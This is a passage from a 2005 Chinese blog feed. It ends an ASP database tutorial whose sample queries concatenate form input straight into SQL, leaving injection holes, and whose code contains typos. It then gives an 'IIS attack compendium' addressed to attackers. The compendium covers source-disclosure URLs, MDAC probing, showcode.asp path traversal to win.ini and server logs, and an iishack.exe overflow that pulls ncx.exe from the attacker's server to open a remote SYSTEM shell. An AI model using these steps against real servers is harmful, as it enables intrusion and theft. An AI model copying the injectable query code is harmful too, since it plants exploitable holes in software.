file=conn.asp--&gt;&nbsp;&nbsp;&nbsp;&nbsp;(包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;%<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set rs=server.CreateObject("adodb.recordset")&nbsp;&nbsp;(建立recordset对象)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sqlstr="select * from message"&nbsp;&nbsp;----&gt;(message为数据库中的一个数据表，即你要显示的数据所存放的数据表)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.open sqlstr,conn,1,3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ----&gt;(表示打开数据库的方式)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.movefirst&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----&gt;(将指针移到第一条记录)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while not rs.eof&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----&gt;(判断指针是否到末尾)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write(rs("name"))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----&gt;(显示数据表message中的name字段)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.movenext&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ----&gt;(将指针移动到下一条记录)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wend&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----&gt;(循环结束)<BR>------------------------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conn.close&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这几句是用来关闭数据库<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set rs=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set conn=nothing<BR>-------------------------------------------------------<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中response对象是服务器向客户端浏览器发送的信息<BR>&lt;3&gt;增加数据库记录<BR>增加数据库记录用到rs.addnew,rs.update两个函数<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!--#include file=conn.asp--&gt;&nbsp;&nbsp;&nbsp;&nbsp;(包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;%<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set rs=server.CreateObject("adodb.recordset")&nbsp;&nbsp;(建立recordset对象)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sqlstr="select * from message"&nbsp;&nbsp;----&gt;(message为数据库中的一个数据表，即你要显示的数据所存放的数据表)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.open sqlstr,conn,1,3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ----&gt;(表示打开数据库的方式)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.addnew&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;新增加一条记录<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs("name")="xx"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;将xx的值传给name字段<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.update&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;刷新数据库 <BR>------------------------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conn.close&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这几句是用来关闭数据库<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set rs=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set conn=nothing<BR>-------------------------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%&gt;<BR>&lt;4&gt;删除一条记录<BR>&nbsp;&nbsp;删除数据库记录主要用到rs.delete,rs.update<BR>&nbsp;&nbsp; &lt;!--#include file=conn.asp--&gt;&nbsp;&nbsp;&nbsp;&nbsp;(包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;%<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dim name<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name="xx"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set rs=server.CreateObject("adodb.recordset")&nbsp;&nbsp;(建立recordset对象)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sqlstr="select * from message"&nbsp;&nbsp;----&gt;(message为数据库中的一个数据表，即你要显示的数据所存放的数据表)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.open sqlstr,conn,1,3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ----&gt;(表示打开数据库的方式)<BR>-------------------------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while not rs.eof<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if rs.("name")=name then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.delete<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.update&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 查询数据表中的name字段的值是否等于变量name的值"xx"，如果符合就执行删除，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 否则继续查询,直到指针到末尾为止<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.movenext<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;emd if<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wend<BR>------------------------------------------------------<BR>------------------------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conn.close&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这几句是用来关闭数据库<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set rs=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set conn=nothing<BR>------------------------------------------------------- <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%&gt;<BR>&lt;5&gt;关于数据库的查询<BR>&nbsp;&nbsp;(a) 查询字段为字符型<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;%<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim user,pass,qq,mail,message<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user=request.Form("user")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass=request.Form("pass")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;qq=request.Form("qq")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mail=request.Form("mail")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message=request.Form("message")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if trim(user)&amp;"x"="x" or trim(pass)&amp;"x"="x" then&nbsp;&nbsp;&nbsp;&nbsp; (检测user值和pass值是否为空，可以检测到空格)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write("注册信息不能为空")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set rs=server.CreateObject("adodb.recordset")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sqlstr="select * from user where user='"&amp;user&amp;"'"&nbsp;&nbsp;&nbsp;&nbsp;(查询user数据表中的user字段其中user字段为字符型)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.open sqlstr,conn,1,3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;rs.eof then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.addnew<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs("user")=user<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs("pass")=pass<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs("qq")=qq<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs("mail")=mail<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs("message")=message<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.update<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set rs=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set conn=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write("注册成功")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end if <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set rs=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set conn=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write("注册重名")<BR>&nbsp;&nbsp;&nbsp;&nbsp; %&gt;<BR>&nbsp;&nbsp;(b)查询字段为数字型<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;%<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim num<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;num=request.Form("num")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set rs=server.CreateObject("adodb.recordset")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sqlstr="select * from message where id="&amp;num&nbsp;&nbsp; (查询message数据表中id字段的值是否与num相等，其中id为数字型)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.open sqlstr,conn,1,3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not rs.eof then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.delete<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.update<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set rs=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set conn=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write("删除成功")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end if<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.close<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set rs=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set conn=nothing<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write("删除失败")<BR>&nbsp;&nbsp;&nbsp;&nbsp; %&gt;<BR>&lt;6&gt;几个简单的asp对象的讲解<BR>&nbsp;&nbsp; response对象:服务器端向客户端发送的信息对象,包括直接发送信息给浏览器,重新定向URL，或设置cookie值<BR>&nbsp;&nbsp; request对象:客户端向服务器提出的请求<BR>&nbsp;&nbsp; session对象:作为一个全局变量，在整个站点都生效<BR>&nbsp;&nbsp; server对象：提供对服务器上方法和属性的访问&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>(a) response对象的一般使用方法<BR>&nbsp;&nbsp;&nbsp;&nbsp;比如：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;%<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resposne.write("hello, welcome to asp!")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;在客户端浏览器就会看到&nbsp;&nbsp;hello, welcome to asp! 这一段文字<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;%<BR>response.Redirect("www.sohu.com")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;如果执行这一段，则浏览器就会自动连接到 “搜狐” 的网址<BR>&nbsp;&nbsp;关于response对象的用法还有很多，大家可以研究研究<BR>&nbsp;&nbsp;request对象的一般使用方法<BR>比如客户端向服务器提出的请求就是通过request对象来传递的<BR>列如 ：你在申请邮箱的所填写的个人信息就是通过该对象来将<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;你所填写的信息传递给服务器的<BR>比如：这是一段表单的代码，这是提供给客户填写信息的，填写完了按<BR>&nbsp;&nbsp;&nbsp;&nbsp; “提交”传递给request.asp文件处理后再存入服务器数据库<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;form name="form1" method="post" action="request.asp"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input type="text" name="user"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/p&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input type="text" name="pass"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/p&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input type="submit" name="Submit" value="提交"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/p&gt;<BR>&lt;/form&gt; <BR>那么request.asp该如何将其中的信息读入，在写入数据库，在这里就要用到<BR>request对象了，下面我们就来分析request.asp的写法<BR>&lt;%<BR>dim name,password&nbsp;&nbsp;&nbsp;&nbsp;(定义user和password两个变量)<BR>name=request.form(“user”)&nbsp;&nbsp;(将表单中的user信息传给变量name)<BR>password=request.form(“pass”) (将表单中的pass信息传给变量password)<BR>%&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>通过以上的几句代码我们就将表单中的数据读进来了，接下来我们要做的就是将<BR>信息写入数据库了，写入数据库的方法上面都介绍了，这里就不一一复述了。<BR>（通过上面的学习大家完全可以自己做一个留言版了）<BR></FONT>
<P>
<CENTER></CENTER>
<P></P></SPAN></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[IIS攻击大全]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=8175</link>
<author>anchen0617</author>
<pubDate>2005/9/1 1:33:21</pubDate>
<description><![CDATA[<STRONG><BR></STRONG>
<DIV width="100%">
<DIV style="FLOAT: right"><STRONG></STRONG></DIV>
<DIV>去年下半年关于IIS的漏洞层出不穷，鉴于目前IIS的广泛使用，觉得有必要把收集的资料加以总结一下。&nbsp;<BR>　　1．介绍&nbsp; 
<P></P>
<P>　　这里介绍的方法主要通过端口80来完成操作，具有很大的威胁性，因为作为网络服务器80端口总要打开的。如果想方便一些，下载一些WWW、CGI扫描器来辅助检查。&nbsp;</P>
<P>　　而且要知道目标机器运行的是何种服务程序，你可以使用以下命令：&nbsp;</P>
<P>　　telnet&nbsp;《目标机》&nbsp;80&nbsp;<BR>　　GET&nbsp;HEAD&nbsp;/&nbsp;HTTP/1.0&nbsp;</P>
<P>　　就可以返回一些域名和WEB服务程序版本，如果有些服务器把WEB服务运行在8080，81，8000，8001口，你就TELNET相应的口上。&nbsp;</P>
<P>　　2．常见漏洞&nbsp;</P>
<P>　　（1）、Null.htw&nbsp;</P>
<P>　　IIS如果运行了Index&nbsp;Server就包含了一个通过Null.htw有关的漏洞，即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码，&nbsp;global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制，进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index&nbsp;Server中没有充分防止各种类型文件的请求，所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量：&nbsp;</P>
<P>　　CiWebhitsfile&nbsp;<BR>　　CiRestriction&nbsp;<BR>　　CiHiliteType&nbsp;</P>
<P>　　你可通过下列方法传递变量来获得如default.asp的源代码：&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/null.htw?CiWebhitsfile=/default.asp%20&amp;%20&nbsp;<BR>CiRestriction=none%20&amp;%20&amp;CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。&nbsp;<BR>（2）、MDAC-&nbsp;执行本地命令漏洞&nbsp;</P>
<P>　　这个漏洞出现得比较早，但在全球范围内，可能还有好多IIS&nbsp;WEB服务器存在这个漏洞，就像在今天，还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞，可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory，默认情况下，它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞：&nbsp;</P>
<P>　　c:\》nc&nbsp;-nw&nbsp;-w&nbsp;2&nbsp;《目标机》&nbsp;80&nbsp;<BR>　　GET&nbsp;/msadc/msadcs.dll&nbsp;HTTP&nbsp;</P>
<P>　　如果你得到下面的信息：&nbsp;</P>
<P>　　application/x_varg&nbsp;</P>
<P>　　就很有可能存在此漏洞且没有打上补丁，你可以使用rain&nbsp;forest&nbsp;puppy网站的两个程序进行测<A class=contentlink href="http://www.wiretrip.net/rfp" target=_blank contentlink><FONT color=#4455aa>www.wiretrip.net/rfp</FONT></A>）==》mdac.pl和msadc2.pl。&nbsp;</P>
<P>　　（3）、ASP&nbsp;Dot&nbsp;Bug&nbsp;</P>
<P>　　这个漏洞出现得比较早了，是Lopht小组在1997年发现的缺陷，这个漏洞也是泄露ASP源代码给攻击者，一般在IIS3.0上存在此漏洞，在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/sample.asp.&nbsp;</P>
<P>　　（4）、idc&nbsp;&amp;&nbsp;.ida&nbsp;Bugs&nbsp;</P>
<P>　　这个漏洞实际上类似ASP&nbsp;dot&nbsp;漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪有些人还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/anything.idc&nbsp;或者&nbsp;anything.idq&nbsp;</P>
<P>　　（5）、+.htr&nbsp;Bug&nbsp;</P>
<P>　　这个漏洞是由NSFOCUS发现的，对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：&nbsp;<BR><A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/global.asa+.htr&nbsp;</P>
<P>　　（6）、NT&nbsp;Site&nbsp;Server&nbsp;Adsamples&nbsp;漏洞&nbsp;</P>
<P>　　通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/adsamples/config/site.csc&nbsp;</P>
<P>　　（7）、IIS&nbsp;HACK&nbsp;</P>
<P>　　有人发现了一个IIS4.0的缓冲溢出漏洞，可以允许用户上载程序，如上载netcat到目标服务器，并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到站<A class=contentlink href="http://www.technotronic.com/" target=_blank contentlink><FONT color=#4455aa>www.technotronic.com</FONT></A>中去下载，另外你还需要一台自己的WEB服务器，也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：&nbsp;</P>
<P>　　c:\》iishack.exe&nbsp;《目标机》&nbsp;80&nbsp;《你的WEB服务器》/ncx.exe&nbsp;<BR>然后你就使用netcat来连接你要检测的服务器：&nbsp;</P>
<P>　　c:\》nc&nbsp;《目标机》&nbsp;80&nbsp;</P>
<P>　　如果溢出点正确，你就可以看到目标机器的命令行提示，并且是远程管理权限。Codebrws.asp&nbsp;&amp;&nbsp;Showcode.asp&nbsp;。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序，但不是默认安装的，这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是，这个查看器并没有很好地限制所访问的文件，远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容，但要注意以下几点：&nbsp;</P>
<P>　　1．Codebrws.asp&nbsp;和&nbsp;Showcode.asp默认情况下不安装。&nbsp;<BR>　　2．漏洞仅允许查看文件内容。&nbsp;<BR>　　3．这个漏洞不能绕过WINDOWS&nbsp;NT的ACL控制列表的限制。&nbsp;<BR>　　4．只允许同一分区下的文件可以被查看（所以把IIS目录和WINNT分区安装是个不错的方案，这样也可能比较好的防止最新的IIS5.0的unicode漏洞）.&nbsp;<BR>　　5．攻击者需要知道请求的文件名。&nbsp;</P>
<P>　　例如你发现存在这个文件并符合上面的要求，你可以请求如下的命令：&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/&nbsp;<BR>iisamples/exair/howitworks/codebrws.asp&nbsp;</P>
<P>　　你就可以查看到codebrws.asp的源代码了。&nbsp;</P>
<P>　　你也可以使用showcode.asp来查看文件：&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/msadc/samples/selector/showcode.asp?&nbsp;<BR>source=/msadc/../../../../../winnt/win.ini&nbsp;</P>
<P>　　当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器，或许其他的机器的安全性比WEB服务器差，如：<A class=contentlink href="http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?" target=_blank><FONT color=#4455aa>http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?</FONT></A>&nbsp;<BR>source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log&nbsp;</P>
